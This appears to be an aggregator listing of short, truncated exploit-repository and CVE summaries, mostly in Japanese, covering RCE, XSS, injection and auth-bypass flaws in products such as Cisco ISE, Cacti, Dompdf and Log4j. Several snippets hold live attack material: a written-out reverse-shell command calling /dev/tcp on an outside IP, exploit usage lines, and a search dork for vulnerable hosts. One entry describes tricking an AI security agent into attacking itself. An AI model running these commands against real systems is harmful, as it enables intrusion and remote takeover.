CVE-2022-23808

phpMyAdmin エクスプロイト エクスプロイト名 : phpMyAdmin 5.1.1 - XSS クロスサイトスクリプティング 作者 : Dipak Panchal @th3.d1p4k ベンダーホームページ : https://www.phpmyadmin.net ソフトウェアリンク : https://www.phpmyadmin.net/files/5.1.1/ 影響を受けるバージョン : phpMyAdmin 5.1系において5.1.2より前のバージョンが影響を受けます。 テスト環境 : Windows 10 および Linux CVE : CVE-2022-23808 ...

Cisco-CVE-2025-20281-illdeed

CVE-2025-20281 — Cisco ISE ERS API 未認証RCEエクスプロイト このリポジトリには、CVE-2025-20281 の Python 3 概念実証エクスプロイトが含まれています。この脆弱性は Cisco Identity Services Engine ISE に存在し、ERS API を介して ルート権限による未認証リモートコード実行 RCE を可能にします。 🩻 脆弱性の概要 Cisco ISE ERS の /ers/sdk エンドポイントは、ユーザー作成リクエストを処理する際に認証を検証しません。 攻撃者は InternalUser オブジェクトの...

EUVD-2026-86584

The ciscofiresightmanagerACLruleexport module in misp-modules generates a shell script .sh that authenticates to and calls the Cisco fireSIGHT Manager API. The module interpolates configuration values IP address, login, password, domain ID, policy ID and MISP attribute values destination IPs, URL...

CVE-2026-97863 misp-modules: Shell Command Injection in MISP cisco_firesight_manager_ACL_rule_export Module via Unescaped Attribute Values

The ciscofiresightmanagerACLruleexport module in misp-modules generates a shell script .sh that authenticates to and calls the Cisco fireSIGHT Manager API. The module interpolates configuration values IP address, login, password, domain ID, policy ID and MISP attribute values destination IPs, URL...

CVE-2026-97863

The cisco_firesight_manager_ACL_rule_export module in misp-modules is vulnerable to Shell Command Injection . The module generates a .sh script by interpolating configuration and MISP attribute values (such as destination IPs and URLs) into single-quoted shell strings without proper escaping. An ...

Mybb-XSS_SQL_RCE-POC

Mybb-XSSSQLRCE-POC Mybbに関連するCVE-2021-27890 & CVE-2021-27889をRCE PoCに 使用前: ここに2つのファイルがあります: 1.js と attacklisten.py これらの2つのファイルを修正してください: 1.js: mybbフォーラムのURLと攻撃URLを修正してください: root@kitploit: var bashurl = 'http://192.168.92.164/mybb/mybb-mybb1825' mybb forum url var attackurl =...

CVE-2024-29895-CactiRCE-PoC

Cacti RCE - CVE-2024-29895 使用方法: python3 cve-2024-29895.py -u https://target.com/ -c id Cacti バージョン1.3.XのDEVビルドで、cmdrealtime.phpが存在し、POLLERIDが有効な場合に影響を受けます。 このエンドポイントを介して、ペイロードをHTMLクエリパラメータとしてGETリクエストを送信することで、コマンドインジェクションが可能です。 Dork: Google: inurl:cmdrealtime.php Shodan: Cacti Hunter.how:...

heroku-CVE-2013-0269

heroku-CVE-2013-0269 すべてのHerokuアプリを検査し、脆弱性のあるバージョンのJSONを実行していないか確認します。 背景 RubyのJSON gemにおいてセキュリティ脆弱性が発見されました。これは最近発表されたRailsのMySQLインジェクション問題の根本原因です。JSON gemの新しいリリースが利用可能です。 開発者はこのスクリプトを実行することで、影響を受けるすべてのHerokuアプリケーションの完全なリストを取得できます。以下のJSONバージョンはパッチが適用され、このエクスプロイトに対して安全とみなされています。 1.7.7 1.6.8 1.5.5...

CVE-2020-3952

CVE-2020-3952 の脆弱性ステータスを確認するスクリプト これは guardicore exploit から着想を得ていますが、若干の違いがあります。管理者ユーザーを作成しません。 脆弱性ステータスは、組み込みの Administrators グループが無害な 'description' 属性を作成または追加することで汚染可能かどうかを検証することで評価します。 確認 使用方法: root@kitploit: $ python exploitcheck.py vserverip 試行の検出 suricata シグネチャルール vmware.rules...

CVE-2024-47533

root@kitploit: Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd...

WordPress Better Messages – Chat Rooms, Group Chat, Private Messages & AI Chat Bots plugin <= 3.0.4 - Authenticated (Subscriber+) SQL Injection vulnerability

Authenticated Subscriber+ SQL Injection vulnerability discovered by Ivaylo in WordPress Plugin BP Better Messages versions = 3.0.4...

CVE-2022-22947-POC

Spring-Cloud-Gateway-CVE-2022-22947 Spring Cloud Gateway のリモートコード実行脆弱性に関するセキュリティ通知。この脆弱性は、Spring Cloud Gateway の Gateway Actuator エンドポイントが有効かつ公開されている場合、Spring Cloud Gateway を使用したアプリケーションがコードインジェクション攻撃を受ける可能性があります。攻撃者は特別に細工された悪意のあるリクエストを送信し、リモートで任意のコードを実行できます。 【影響を受けるバージョン】 Spring Cloud Gateway =...

SenselessViolence

SenselessViolence CVE-2022-31814 pfSense pfBlockerNG = 2.1.426 悪用ツールキット。 これは何？ これは、IHTeam によって発見された pfSense pfBlockerNG = 2.1.426 プラグインのリモートコマンドインジェクション機能に対する悪用ツールキットです。 NSA のファイアウォール悪用ツールキットに見られる設計原則をいくつか試すためにこれを書きました。そのため、nopen...

CVE-2023-28343

CVE-2023-28343 Altenergy Power System Control Software settimezone RCE脆弱性 CVE-2023-28343 中国語名: Altenergy Power System Control Software settimezone リモートコマンド実行の脆弱性（CVE-2023-28343） CVSS スコア:9.0 説明 : Altenergy Power System Control Softwareは、Altenergy Power System製のマイクロインバータ制御ソフトウェアです。 影響 : Altenergy...

CVE-2026-41940

CVE-2026-41940 - cPanel/WHM 認証バイパス このリポジトリには、CVE-2026-41940 に関する英語の編集済みレポートと、Go ベースの検証ツールが含まれています。CVE-2026-41940 は、Basic 認証処理における CRLF インジェクションによって引き起こされる cPanel/WHM の認証バイパスです。...

CVE-2022-28368

CVE-2022-28368 - Dompdf RCE Dompdf RCE PoC エクスプロイト alt text ExploitDB Dompdf バージョン 1.2.1 未満は、データに CSS を注入することでリモートコード実行（RCE）の脆弱性があります。Dompdf は、フォントキャッシュに .php ファイル拡張子を持つ悪意のあるフォントを保存するよう欺かれる可能性があり、そのファイルは後で Web からアクセスすることで実行される可能性があります。 使用方法 root@kitploit: git clone...

K55

K55 - Linux x8664 프로세스 인젝션 유틸리티 C++14 K55 소개 발음: "케이 피프티 파이브" K55 페이로드 인젝션 도구는 x8664 셸코드 페이로드를 실행 중인 프로세스에 주입하는 데 사용됩니다. 이 유틸리티는 최신 C++11 기술과 ptrace와 같은 전통적인 C 리눅스 함수를 함께 사용하여 개발되었습니다. 대상 프로세스에서 실행되는 셸코드는 27바이트이며, 대상의 주소 공간 내에서 /bin/sh bash 셸을 실행합니다. 향후에는 사용자가 명령줄 인수를 통해 자신의 셸코드를 입력할 수 있도록 할 예정입니...

CVE-2025-67511

CVE-2025-67511: セキュリティAIエージェントを騙して自滅させる Hacktive SecurityによるCVE-2025-67511のブログ記事 ブログ記事リンク : https://www.hacktivesecurity.com/blog/2025/12/10/cve-2025-67511-tricking-a-security-ai-agent-into-pwning-itself/ TL;DR cai-framework = 0.5.9 のAIエージェントが利用可能な関数ツール runsshcommandwithcredentials...

CVE-2025-54322

CVE-2025-54322 - XSpeeder SXZOS 사전 인증 RCE 스캐너 CVE-2025-54322에 대한 멀티스레드 취약점 스캐너입니다. 이는 XSpeeder SXZOS 펌웨어에서 전 세계 약 70,000개 이상의 호스트에 영향을 미치는 인증되지 않은 원격 코드 실행 취약점입니다. 📋 목차 취약점 정보 기능 설치 사용법 출력 면책 조항 크레딧 작성자 🔍 취약점 정보 CVE-2025-54322 는 XSpeeder SXZOS 펌웨어에서 발견된 심각한 사전 인증 원격 코드 실행 취약점으로, SD-WAN 장치, 라우터 및 ...

Log4Shell-CVE-2021-44228-Demo

CVE-2021–44228 Demo 1. CVE-2021–44228 概要 2021 年末、セキュリティ業界最大のニュースは Log4j の脆弱性で、CVE-2021-44228 として識別され、Log4Shell とも呼ばれています。CVSS 脆弱性評価システムでは、最も深刻なレベルである 10 点 と評価され、Heartbleed や ShellShock に次ぐ、近年で最も重大な脆弱性とも考えられています。中にはこれを「核弾頭級の脆弱性」と表現する人もおり、この脆弱性の影響の大きさがうかがえます。今回のプロジェクトでは、CVE-2021-44228...